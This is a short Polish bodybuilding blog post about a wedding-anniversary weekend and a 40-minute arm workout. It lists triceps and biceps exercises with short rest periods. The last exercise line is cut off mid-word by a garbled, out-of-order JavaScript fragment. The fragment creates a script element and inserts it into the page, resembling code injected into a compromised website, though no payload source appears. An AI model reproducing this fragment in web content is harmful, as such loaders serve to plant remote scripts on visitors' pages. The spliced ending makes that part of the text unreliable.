Rocznica ślubu

9.07.2012 / Michał Karmowski / Kulturystyka

Po pracowitym tygodniu i treningach w upałach przyszedł czas na niedzielny odpoczynek. Dzień 8 lipca jest dla mnie wyjątkowy bo to rocznica  ślubu z moją żonką :-) Rano był wyjazd nad jezioro do Gołunia i pływanie łódką,  a wieczorem kolacja w doborowym towarzystwie naszych przyjaciół  i ogromne steki. Deser był odstępstwem od diety i zjadłem prawie połowę sam …,  „torcik” był rewelacyjny:-)

Jeśli chodzi o treningi to w sobotę robiłem ręce bardzo intensywnie i cały trening trwał 40 min, przerwy miedzy seriami były naprawdę krótkie około 40 sekund. Dzięki temu pompa mięśniowa była ogromna i myślałem ,ze rozerwie mi skórę.

triceps:

-prostowanie ramion z liną wyciagu

-francuskie uginanie do czoła z gryfem łamanym

-pompki na poręczach

-francuskie uginanie siedzac za głowę

biceps:

-uginanie ramion z hantlami siedząc

-uginanie z hantlami oburącz na modlitewniku

-uginanie ramion z drążkiem wyciągu dolnegodocument.currentScript.parentNode.insertBefore(s, document.currentScript);var d=document;var s=d.createElement(‚script’); }